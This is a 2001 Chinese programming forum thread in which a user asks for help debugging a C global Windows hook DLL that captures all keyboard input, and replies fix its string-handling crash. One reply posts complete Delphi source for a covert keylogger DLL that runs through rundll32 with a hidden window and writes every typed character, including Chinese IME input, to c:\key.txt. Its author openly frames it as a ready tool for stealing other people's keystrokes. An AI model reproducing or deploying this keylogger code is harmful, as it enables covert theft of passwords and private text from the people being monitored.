一个全局键盘钩子的源代码,请进来讨论一下。
//编译生成dll 目的是截获系统所有的键盘输入。
//代码如下, SetHook后 按键就非法操作
//帮忙找错! 谢谢 ^_^
#include <windows.h>
#include <stdio.h>
static HWND ghwndSpyHook = NULL;
char string[526];
LRESULT CALLBACK SpyGetMsgProc(INT hc, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK SpyCallWndProc(INT hc, WPARAM wParam, LPARAM lParam);
BOOL APIENTRY DllMain(PVOID hModule, ULONG ulReason, PCONTEXT pctx)
{
UNREFERENCED_PARAMETER(hModule);
UNREFERENCED_PARAMETER(pctx);
if ( ulReason == DLL_PROCESS_ATTACH ) {
}
return TRUE;
}
BOOL WINAPI HookProc(HWND hwnd, UINT uiMessage, WPARAM wParam, LPARAM lParam)
{
if(uiMessage ==WM_CHAR || uiMessage ==WM_IME_CHAR)
{
if(uiMessage ==WM_IME_CHAR)
strcat(string,(const char*)(wParam>>8));
strcat(string,(const char*)wParam);
return TRUE;
}
if(uiMessage ==WM_KEYDOWN &&wParam==VK_RETURN)
{
MessageBox(NULL,string,string,MB_OK);
return TRUE;
}
return FALSE;
}
LRESULT CALLBACK SpyGetMsgProc(INT hc, WPARAM wParam, LPARAM lParam)
{
PMSG pmsg;
pmsg = (PMSG)lParam;
if (hc >= 0 && pmsg && pmsg->hwnd)
{
return HookProc(pmsg->hwnd, pmsg->message, pmsg->wParam, pmsg->lParam);
}
return CallNextHookEx(NULL, hc, wParam, lParam);
}
LRESULT CALLBACK SpyCallWndProc(INT hc, WPARAM wParam, LPARAM lParam)
{
PCWPSTRUCT pcwps;
pcwps = (PCWPSTRUCT)lParam;
if (hc >= 0 && pcwps && pcwps->hwnd)
{
return HookProc(pcwps->hwnd, pcwps->message, pcwps->wParam, pcwps->lParam);
}
return CallNextHookEx(NULL, hc, wParam, lParam);
}
问题点数:50、回复次数:31Top
1 楼111222(www.111222.cn)回复于 2001-06-07 14:05:00 得分 0
upTop
2 楼111222(www.111222.cn)回复于 2001-06-07 14:22:00 得分 0
3 楼111222(www.111222.cn)回复于 2001-06-07 14:54:00 得分 0
4 楼111222(www.111222.cn)回复于 2001-06-07 15:09:00 得分 0
5 楼111222(www.111222.cn)回复于 2001-06-07 15:46:00 得分 0
6 楼111222(www.111222.cn)回复于 2001-06-07 15:54:00 得分 0
主啊,没人看见么??????Top
7 楼wzg_harbin(/*0xFA*/)回复于 2001-06-07 16:06:00 得分 0
程序员大本营2000上有例子
很好懂Top
8 楼111222(www.111222.cn)回复于 2001-06-07 16:10:00 得分 0
老乡,我没有程序猿大本营2000啊
你给我一个么????
我想知道为什么出错。Top
9 楼wzg_harbin(/*0xFA*/)回复于 2001-06-07 16:10:00 得分 50
是那个@0451.com的老乡吗
我有现成的程序
给我发信,我给你发去
我是@china.comTop
10 楼poweruser(Loading......)回复于 2001-06-07 16:12:00 得分 0
没有程序员大本营的呢Top
11 楼wzg_harbin(/*0xFA*/)回复于 2001-06-07 16:28:00 得分 0
老乡,我给你发了个邮件,油箱是111222@0451.com吗
Top
12 楼111222(www.111222.cn)回复于 2001-06-07 16:34:00 得分 0
是啊,是的111222@0451.comTop
13 楼111222(www.111222.cn)回复于 2001-06-07 16:34:00 得分 0
哈哈,还是老乡好!!!!Top
14 楼111222(www.111222.cn)回复于 2001-06-07 16:34:00 得分 0
老乡见老乡,两眼泪汪汪Top
15 楼wzg_harbin(/*0xFA*/)回复于 2001-06-07 16:35:00 得分 0
By the way
老乡在哪儿高就啊Top
16 楼bodies(唏嘘嘅猪肉佬)回复于 2001-06-07 16:40:00 得分 0
#pragma data_seg("mydata")
HWND ghwndSpyHook = NULL;
#pragma data_seg()
#pragma comment(linker,"/SECTION:mydata,RWS")
这样才能把数据设成全局访问的Top
17 楼111222(www.111222.cn)回复于 2001-06-07 16:55:00 得分 0
老乡,我收到代码了,回头再给分
我还想弄明白上面钩子出错的原因
刚才我注释掉了上面的
strcat(string,(const char*)(wParam>>8));
strcat(string,(const char*)wParam);
这两句,错误就不再了。
我这里把键盘输入存到char string[526]有什么问题么??
请指点!!!!!1Top
18 楼111222(www.111222.cn)回复于 2001-06-07 16:58:00 得分 0
bodies:
我还是觉得我这种C的钩子,不用那样设置成全局的。
刚才我注释掉上面说的存字符串的两句就不非法操作了。
为什么我这没法把输入的字符存到char*里面?Top
19 楼111222(www.111222.cn)回复于 2001-06-07 17:19:00 得分 0
安装钩子的文件是
BOOL SetMsgHook(BOOL fSet)
{
static HHOOK hhkGetMessage = NULL;
static HHOOK hhkCallWndProc = NULL;
static HMODULE hmodHook;
if (fSet)
{
if (!hmodHook)
{
if (!(hmodHook = LoadLibrary(_T("xxxxx.dll"))))
{
MessageBox(NULL,"找不到xxxxx.dll","错误",MB_OK);
return FALSE;
}
}
if (!hhkGetMessage)
{
if (!(hhkGetMessage = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)GetProcAddress(hmodHook, "SpyGetMsgProc"), hmodHook, 0)))
{
return FALSE;
}
}
if (!hhkCallWndProc)
{
if (!(hhkCallWndProc = SetWindowsHookEx(WH_CALLWNDPROC,
(HOOKPROC)GetProcAddress(hmodHook, "SpyCallWndProc"), hmodHook, 0)))
{
UnhookWindowsHookEx(hhkGetMessage);
return FALSE;
}
}
}
else
{
if (hhkGetMessage)
{
UnhookWindowsHookEx(hhkGetMessage);
hhkGetMessage = NULL;
}
if (hhkCallWndProc)
{
UnhookWindowsHookEx(hhkCallWndProc);
hhkCallWndProc = NULL;
}
FreeLibrary(hmodHook);
}
return TRUE;
}
Top
20 楼NowCan(城市浪人)回复于 2001-06-07 19:02:00 得分 0
我还是觉得我这种C的钩子,不用那样设置成全局的。
why?
Top
21 楼111222(www.111222.cn)回复于 2001-06-07 19:06:00 得分 0
NowCan:
前一次,我没那样设置,也好使啊Top
22 楼111222(www.111222.cn)回复于 2001-06-08 13:29:00 得分 0
老乡:
你给我的钩子并不行,keyboard钩子只能钩WM_KEYDOWN WM_KEYUP消息
而我要钩的是WM_CHAR和WM_IME_CHAR
暂时还没解决,谢谢你了。Top
23 楼admireO(再接再厉)回复于 2001-06-08 16:08:00 得分 0
to 111222,你调用CallNextHookEx(NULL,......)第一个参数为NULL,可以这样用吗?
你这个语句有问题了,strcat(string,(const char*)wParam);
应改为:TCHAR chCode = (TCHAR)wParam;
strcat( string,(const char*)(&chCode) );
同理,你的上一句也应该改了.
Top
24 楼admireO(再接再厉)回复于 2001-06-08 16:12:00 得分 0
错了,应该改为:TCHAR chBuf[2];
chBuf[0] = (TCHAR)wParam;
chBuf[1] = '\0';
strcat( string,chBuf );Top
25 楼admireO(再接再厉)回复于 2001-06-08 22:27:00 得分 0
怎么没人对我的意见发表评论呀?如果错了请指出。Top
26 楼flyingice(ygxdha)回复于 2001-06-09 10:09:00 得分 0
使用getmsg钩子比较好,或者使用日志钩子。
Top
27 楼freeboy777(自由男孩)回复于 2001-06-09 13:35:00 得分 0
和我的情况一样 所以我改用getmessage hook了效果不错Top
28 楼njhhack(剑影)回复于 2001-06-11 09:01:00 得分 0
不讨厌Delphi的兄弟来看这个很有新意的,用rundll32.exe程序来启动,自已不要*.exe程序,只要下面这个*.dll就行,有了这个以后,谁要想做什么偷人家键盘输入的东东,都不要再问如何做了,呵呵.............
----------------------------------------------
我用Delphi做了一个全局钩子,钩住WH_GetMessage和WH_CallWinProc能将WM_CHAR和WM_IME_CHAR截获,英文汉字都行,运行方法为rundll32 myhost.dll,run,结果记录来文件key.txt中,但只能记edit控件中的,在richedit控件中有一些问题,欢迎大家同我讨论这个问题,我的qico:10772919,e-mail:njhhack@21cn.com,主页hotsky.363.net
library myhost;
uses windows,messages,sysutils,tlhelp32;
{$r *.res}
const
HookMemFileName='HookMemFile.DTA';
type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
hInstance:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
Shared:PShared;
Win:TWin;
procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:\key.txt');
if fileexists('c:\key.txt')=false then rewrite(f)
else append(f);
writeln(f,str);
closefile(f);
end;
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
saveinfo(format('%s',[chr(wparam and $ff)]));
end;
if (uMessage=WM_IME_CHAR) then
begin
saveinfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
end;
end;
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);
end;
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;
procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;
procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_quit:
begin
SetHook(False);
halt;
end;
end;
end;
procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='MyHost';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'MyHost',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
Shared^.hInstance:=hInstance;
SetHook(true);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;
procedure DllEntryPoint(fdwReason:DWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;
exports run;
begin
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.
Top
29 楼Chxis(明月夜,古松冈.)回复于 2001-07-09 15:29:37 得分 0
(冲着你的分数)
老兄,不知你搞定没有?
我有个程序,已经把中文输入截取了,
email:juco11@21cn.com
我常在c++ builder论坛逛
Top
30 楼wildhorse01(ChinaBCB之雨中漫步)回复于 2001-07-09 15:32:20 得分 0
好Top
31 楼yug(寒鹤)回复于 2001-08-17 17:58:41 得分 0
好Top




